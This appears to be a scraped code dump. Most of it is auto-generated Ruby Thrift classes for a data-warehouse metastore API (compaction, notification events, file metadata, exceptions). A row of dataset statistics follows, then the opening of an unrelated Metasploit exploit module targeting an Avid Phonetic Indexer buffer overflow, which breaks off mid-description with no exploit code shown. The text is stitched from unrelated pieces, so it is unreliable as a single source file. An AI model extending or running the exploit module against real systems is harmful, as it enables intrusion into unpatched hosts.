raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field max is unset!') unless @max
end
::Thrift::Struct.generate_accessors self
end
class HeartbeatTxnRangeResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
ABORTED = 1
NOSUCH = 2
FIELDS = {
ABORTED => {:type => ::Thrift::Types::SET, :name => 'aborted', :element => {:type => ::Thrift::Types::I64}},
NOSUCH => {:type => ::Thrift::Types::SET, :name => 'nosuch', :element => {:type => ::Thrift::Types::I64}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field aborted is unset!') unless @aborted
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field nosuch is unset!') unless @nosuch
end
::Thrift::Struct.generate_accessors self
end
class CompactionRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TABLENAME = 2
PARTITIONNAME = 3
TYPE = 4
RUNAS = 5
PROPERTIES = 6
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbname'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tablename'},
PARTITIONNAME => {:type => ::Thrift::Types::STRING, :name => 'partitionname', :optional => true},
TYPE => {:type => ::Thrift::Types::I32, :name => 'type', :enum_class => ::CompactionType},
RUNAS => {:type => ::Thrift::Types::STRING, :name => 'runas', :optional => true},
PROPERTIES => {:type => ::Thrift::Types::MAP, :name => 'properties', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbname is unset!') unless @dbname
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tablename is unset!') unless @tablename
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field type is unset!') unless @type
unless @type.nil? || ::CompactionType::VALID_VALUES.include?(@type)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field type!')
end
end
::Thrift::Struct.generate_accessors self
end
class CompactionResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
ID = 1
STATE = 2
ACCEPTED = 3
FIELDS = {
ID => {:type => ::Thrift::Types::I64, :name => 'id'},
STATE => {:type => ::Thrift::Types::STRING, :name => 'state'},
ACCEPTED => {:type => ::Thrift::Types::BOOL, :name => 'accepted'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field id is unset!') unless @id
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field state is unset!') unless @state
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field accepted is unset!') if @accepted.nil?
end
::Thrift::Struct.generate_accessors self
end
class ShowCompactRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
FIELDS = {
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class ShowCompactResponseElement
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TABLENAME = 2
PARTITIONNAME = 3
TYPE = 4
STATE = 5
WORKERID = 6
START = 7
RUNAS = 8
HIGHTESTTXNID = 9
METAINFO = 10
ENDTIME = 11
HADOOPJOBID = 12
ID = 13
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbname'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tablename'},
PARTITIONNAME => {:type => ::Thrift::Types::STRING, :name => 'partitionname', :optional => true},
TYPE => {:type => ::Thrift::Types::I32, :name => 'type', :enum_class => ::CompactionType},
STATE => {:type => ::Thrift::Types::STRING, :name => 'state'},
WORKERID => {:type => ::Thrift::Types::STRING, :name => 'workerid', :optional => true},
START => {:type => ::Thrift::Types::I64, :name => 'start', :optional => true},
RUNAS => {:type => ::Thrift::Types::STRING, :name => 'runAs', :optional => true},
HIGHTESTTXNID => {:type => ::Thrift::Types::I64, :name => 'hightestTxnId', :optional => true},
METAINFO => {:type => ::Thrift::Types::STRING, :name => 'metaInfo', :optional => true},
ENDTIME => {:type => ::Thrift::Types::I64, :name => 'endTime', :optional => true},
HADOOPJOBID => {:type => ::Thrift::Types::STRING, :name => 'hadoopJobId', :default => %q"None", :optional => true},
ID => {:type => ::Thrift::Types::I64, :name => 'id', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbname is unset!') unless @dbname
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tablename is unset!') unless @tablename
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field type is unset!') unless @type
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field state is unset!') unless @state
unless @type.nil? || ::CompactionType::VALID_VALUES.include?(@type)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field type!')
end
end
::Thrift::Struct.generate_accessors self
end
class ShowCompactResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
COMPACTS = 1
FIELDS = {
COMPACTS => {:type => ::Thrift::Types::LIST, :name => 'compacts', :element => {:type => ::Thrift::Types::STRUCT, :class => ::ShowCompactResponseElement}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field compacts is unset!') unless @compacts
end
::Thrift::Struct.generate_accessors self
end
class AddDynamicPartitions
include ::Thrift::Struct, ::Thrift::Struct_Union
TXNID = 1
DBNAME = 2
TABLENAME = 3
PARTITIONNAMES = 4
OPERATIONTYPE = 5
FIELDS = {
TXNID => {:type => ::Thrift::Types::I64, :name => 'txnid'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbname'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tablename'},
PARTITIONNAMES => {:type => ::Thrift::Types::LIST, :name => 'partitionnames', :element => {:type => ::Thrift::Types::STRING}},
OPERATIONTYPE => {:type => ::Thrift::Types::I32, :name => 'operationType', :default => 5, :optional => true, :enum_class => ::DataOperationType}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field txnid is unset!') unless @txnid
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbname is unset!') unless @dbname
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tablename is unset!') unless @tablename
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field partitionnames is unset!') unless @partitionnames
unless @operationType.nil? || ::DataOperationType::VALID_VALUES.include?(@operationType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field operationType!')
end
end
::Thrift::Struct.generate_accessors self
end
class NotificationEventRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
LASTEVENT = 1
MAXEVENTS = 2
FIELDS = {
LASTEVENT => {:type => ::Thrift::Types::I64, :name => 'lastEvent'},
MAXEVENTS => {:type => ::Thrift::Types::I32, :name => 'maxEvents', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field lastEvent is unset!') unless @lastEvent
end
::Thrift::Struct.generate_accessors self
end
class NotificationEvent
include ::Thrift::Struct, ::Thrift::Struct_Union
EVENTID = 1
EVENTTIME = 2
EVENTTYPE = 3
DBNAME = 4
TABLENAME = 5
MESSAGE = 6
MESSAGEFORMAT = 7
FIELDS = {
EVENTID => {:type => ::Thrift::Types::I64, :name => 'eventId'},
EVENTTIME => {:type => ::Thrift::Types::I32, :name => 'eventTime'},
EVENTTYPE => {:type => ::Thrift::Types::STRING, :name => 'eventType'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName', :optional => true},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tableName', :optional => true},
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'},
MESSAGEFORMAT => {:type => ::Thrift::Types::STRING, :name => 'messageFormat', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field eventId is unset!') unless @eventId
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field eventTime is unset!') unless @eventTime
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field eventType is unset!') unless @eventType
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field message is unset!') unless @message
end
::Thrift::Struct.generate_accessors self
end
class NotificationEventResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
EVENTS = 1
FIELDS = {
EVENTS => {:type => ::Thrift::Types::LIST, :name => 'events', :element => {:type => ::Thrift::Types::STRUCT, :class => ::NotificationEvent}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field events is unset!') unless @events
end
::Thrift::Struct.generate_accessors self
end
class CurrentNotificationEventId
include ::Thrift::Struct, ::Thrift::Struct_Union
EVENTID = 1
FIELDS = {
EVENTID => {:type => ::Thrift::Types::I64, :name => 'eventId'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field eventId is unset!') unless @eventId
end
::Thrift::Struct.generate_accessors self
end
class NotificationEventsCountRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
FROMEVENTID = 1
DBNAME = 2
FIELDS = {
FROMEVENTID => {:type => ::Thrift::Types::I64, :name => 'fromEventId'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field fromEventId is unset!') unless @fromEventId
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
end
::Thrift::Struct.generate_accessors self
end
class NotificationEventsCountResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
EVENTSCOUNT = 1
FIELDS = {
EVENTSCOUNT => {:type => ::Thrift::Types::I64, :name => 'eventsCount'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field eventsCount is unset!') unless @eventsCount
end
::Thrift::Struct.generate_accessors self
end
class InsertEventRequestData
include ::Thrift::Struct, ::Thrift::Struct_Union
REPLACE = 1
FILESADDED = 2
FILESADDEDCHECKSUM = 3
FIELDS = {
REPLACE => {:type => ::Thrift::Types::BOOL, :name => 'replace', :optional => true},
FILESADDED => {:type => ::Thrift::Types::LIST, :name => 'filesAdded', :element => {:type => ::Thrift::Types::STRING}},
FILESADDEDCHECKSUM => {:type => ::Thrift::Types::LIST, :name => 'filesAddedChecksum', :element => {:type => ::Thrift::Types::STRING}, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field filesAdded is unset!') unless @filesAdded
end
::Thrift::Struct.generate_accessors self
end
class FireEventRequestData < ::Thrift::Union
include ::Thrift::Struct_Union
class << self
def insertData(val)
FireEventRequestData.new(:insertData, val)
end
end
INSERTDATA = 1
FIELDS = {
INSERTDATA => {:type => ::Thrift::Types::STRUCT, :name => 'insertData', :class => ::InsertEventRequestData}
}
def struct_fields; FIELDS; end
def validate
raise(StandardError, 'Union fields are not set.') if get_set_field.nil? || get_value.nil?
end
::Thrift::Union.generate_accessors self
end
class FireEventRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
SUCCESSFUL = 1
DATA = 2
DBNAME = 3
TABLENAME = 4
PARTITIONVALS = 5
FIELDS = {
SUCCESSFUL => {:type => ::Thrift::Types::BOOL, :name => 'successful'},
DATA => {:type => ::Thrift::Types::STRUCT, :name => 'data', :class => ::FireEventRequestData},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName', :optional => true},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tableName', :optional => true},
PARTITIONVALS => {:type => ::Thrift::Types::LIST, :name => 'partitionVals', :element => {:type => ::Thrift::Types::STRING}, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field successful is unset!') if @successful.nil?
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field data is unset!') unless @data
end
::Thrift::Struct.generate_accessors self
end
class FireEventResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
FIELDS = {
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class MetadataPpdResult
include ::Thrift::Struct, ::Thrift::Struct_Union
METADATA = 1
INCLUDEBITSET = 2
FIELDS = {
METADATA => {:type => ::Thrift::Types::STRING, :name => 'metadata', :binary => true, :optional => true},
INCLUDEBITSET => {:type => ::Thrift::Types::STRING, :name => 'includeBitset', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class GetFileMetadataByExprResult
include ::Thrift::Struct, ::Thrift::Struct_Union
METADATA = 1
ISSUPPORTED = 2
FIELDS = {
METADATA => {:type => ::Thrift::Types::MAP, :name => 'metadata', :key => {:type => ::Thrift::Types::I64}, :value => {:type => ::Thrift::Types::STRUCT, :class => ::MetadataPpdResult}},
ISSUPPORTED => {:type => ::Thrift::Types::BOOL, :name => 'isSupported'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field metadata is unset!') unless @metadata
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field isSupported is unset!') if @isSupported.nil?
end
::Thrift::Struct.generate_accessors self
end
class GetFileMetadataByExprRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
FILEIDS = 1
EXPR = 2
DOGETFOOTERS = 3
TYPE = 4
FIELDS = {
FILEIDS => {:type => ::Thrift::Types::LIST, :name => 'fileIds', :element => {:type => ::Thrift::Types::I64}},
EXPR => {:type => ::Thrift::Types::STRING, :name => 'expr', :binary => true},
DOGETFOOTERS => {:type => ::Thrift::Types::BOOL, :name => 'doGetFooters', :optional => true},
TYPE => {:type => ::Thrift::Types::I32, :name => 'type', :optional => true, :enum_class => ::FileMetadataExprType}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field fileIds is unset!') unless @fileIds
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field expr is unset!') unless @expr
unless @type.nil? || ::FileMetadataExprType::VALID_VALUES.include?(@type)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field type!')
end
end
::Thrift::Struct.generate_accessors self
end
class GetFileMetadataResult
include ::Thrift::Struct, ::Thrift::Struct_Union
METADATA = 1
ISSUPPORTED = 2
FIELDS = {
METADATA => {:type => ::Thrift::Types::MAP, :name => 'metadata', :key => {:type => ::Thrift::Types::I64}, :value => {:type => ::Thrift::Types::STRING, :binary => true}},
ISSUPPORTED => {:type => ::Thrift::Types::BOOL, :name => 'isSupported'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field metadata is unset!') unless @metadata
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field isSupported is unset!') if @isSupported.nil?
end
::Thrift::Struct.generate_accessors self
end
class GetFileMetadataRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
FILEIDS = 1
FIELDS = {
FILEIDS => {:type => ::Thrift::Types::LIST, :name => 'fileIds', :element => {:type => ::Thrift::Types::I64}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field fileIds is unset!') unless @fileIds
end
::Thrift::Struct.generate_accessors self
end
class PutFileMetadataResult
include ::Thrift::Struct, ::Thrift::Struct_Union
FIELDS = {
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class PutFileMetadataRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
FILEIDS = 1
METADATA = 2
TYPE = 3
FIELDS = {
FILEIDS => {:type => ::Thrift::Types::LIST, :name => 'fileIds', :element => {:type => ::Thrift::Types::I64}},
METADATA => {:type => ::Thrift::Types::LIST, :name => 'metadata', :element => {:type => ::Thrift::Types::STRING, :binary => true}},
TYPE => {:type => ::Thrift::Types::I32, :name => 'type', :optional => true, :enum_class => ::FileMetadataExprType}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field fileIds is unset!') unless @fileIds
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field metadata is unset!') unless @metadata
unless @type.nil? || ::FileMetadataExprType::VALID_VALUES.include?(@type)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field type!')
end
end
::Thrift::Struct.generate_accessors self
end
class ClearFileMetadataResult
include ::Thrift::Struct, ::Thrift::Struct_Union
FIELDS = {
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class ClearFileMetadataRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
FILEIDS = 1
FIELDS = {
FILEIDS => {:type => ::Thrift::Types::LIST, :name => 'fileIds', :element => {:type => ::Thrift::Types::I64}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field fileIds is unset!') unless @fileIds
end
::Thrift::Struct.generate_accessors self
end
class CacheFileMetadataResult
include ::Thrift::Struct, ::Thrift::Struct_Union
ISSUPPORTED = 1
FIELDS = {
ISSUPPORTED => {:type => ::Thrift::Types::BOOL, :name => 'isSupported'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field isSupported is unset!') if @isSupported.nil?
end
::Thrift::Struct.generate_accessors self
end
class CacheFileMetadataRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAME = 2
PARTNAME = 3
ISALLPARTS = 4
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAME => {:type => ::Thrift::Types::STRING, :name => 'tblName'},
PARTNAME => {:type => ::Thrift::Types::STRING, :name => 'partName', :optional => true},
ISALLPARTS => {:type => ::Thrift::Types::BOOL, :name => 'isAllParts', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tblName is unset!') unless @tblName
end
::Thrift::Struct.generate_accessors self
end
class GetAllFunctionsResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
FUNCTIONS = 1
FIELDS = {
FUNCTIONS => {:type => ::Thrift::Types::LIST, :name => 'functions', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Function}, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class ClientCapabilities
include ::Thrift::Struct, ::Thrift::Struct_Union
VALUES = 1
FIELDS = {
VALUES => {:type => ::Thrift::Types::LIST, :name => 'values', :element => {:type => ::Thrift::Types::I32, :enum_class => ::ClientCapability}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field values is unset!') unless @values
end
::Thrift::Struct.generate_accessors self
end
class GetTableRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAME = 2
CAPABILITIES = 3
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAME => {:type => ::Thrift::Types::STRING, :name => 'tblName'},
CAPABILITIES => {:type => ::Thrift::Types::STRUCT, :name => 'capabilities', :class => ::ClientCapabilities, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tblName is unset!') unless @tblName
end
::Thrift::Struct.generate_accessors self
end
class GetTableResult
include ::Thrift::Struct, ::Thrift::Struct_Union
TABLE = 1
FIELDS = {
TABLE => {:type => ::Thrift::Types::STRUCT, :name => 'table', :class => ::Table}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field table is unset!') unless @table
end
::Thrift::Struct.generate_accessors self
end
class GetTablesRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TBLNAMES = 2
CAPABILITIES = 3
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TBLNAMES => {:type => ::Thrift::Types::LIST, :name => 'tblNames', :element => {:type => ::Thrift::Types::STRING}, :optional => true},
CAPABILITIES => {:type => ::Thrift::Types::STRUCT, :name => 'capabilities', :class => ::ClientCapabilities, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
end
::Thrift::Struct.generate_accessors self
end
class GetTablesResult
include ::Thrift::Struct, ::Thrift::Struct_Union
TABLES = 1
FIELDS = {
TABLES => {:type => ::Thrift::Types::LIST, :name => 'tables', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Table}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tables is unset!') unless @tables
end
::Thrift::Struct.generate_accessors self
end
class CmRecycleRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DATAPATH = 1
PURGE = 2
FIELDS = {
DATAPATH => {:type => ::Thrift::Types::STRING, :name => 'dataPath'},
PURGE => {:type => ::Thrift::Types::BOOL, :name => 'purge'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dataPath is unset!') unless @dataPath
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field purge is unset!') if @purge.nil?
end
::Thrift::Struct.generate_accessors self
end
class CmRecycleResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
FIELDS = {
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class TableMeta
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TABLENAME = 2
TABLETYPE = 3
COMMENTS = 4
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tableName'},
TABLETYPE => {:type => ::Thrift::Types::STRING, :name => 'tableType'},
COMMENTS => {:type => ::Thrift::Types::STRING, :name => 'comments', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tableName is unset!') unless @tableName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tableType is unset!') unless @tableType
end
::Thrift::Struct.generate_accessors self
end
class MetaException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class UnknownTableException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class UnknownDBException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class AlreadyExistsException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class InvalidPartitionException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class UnknownPartitionException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class InvalidObjectException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class NoSuchObjectException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class IndexAlreadyExistsException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class InvalidOperationException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class ConfigValSecurityException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class InvalidInputException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class NoSuchTxnException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class TxnAbortedException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class TxnOpenException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class NoSuchLockException < ::Thrift::Exception
include ::Thrift::Struct, ::Thrift::Struct_Union
def initialize(message=nil)
super()
self.message = message
end
MESSAGE = 1
FIELDS = {
MESSAGE => {:type => ::Thrift::Types::STRING, :name => 'message'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
| 32.745806 | 251 | 0.665772 |
e215d34e58c56f7b57f1bd6f47244194f4610c4c | 3,453 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in process
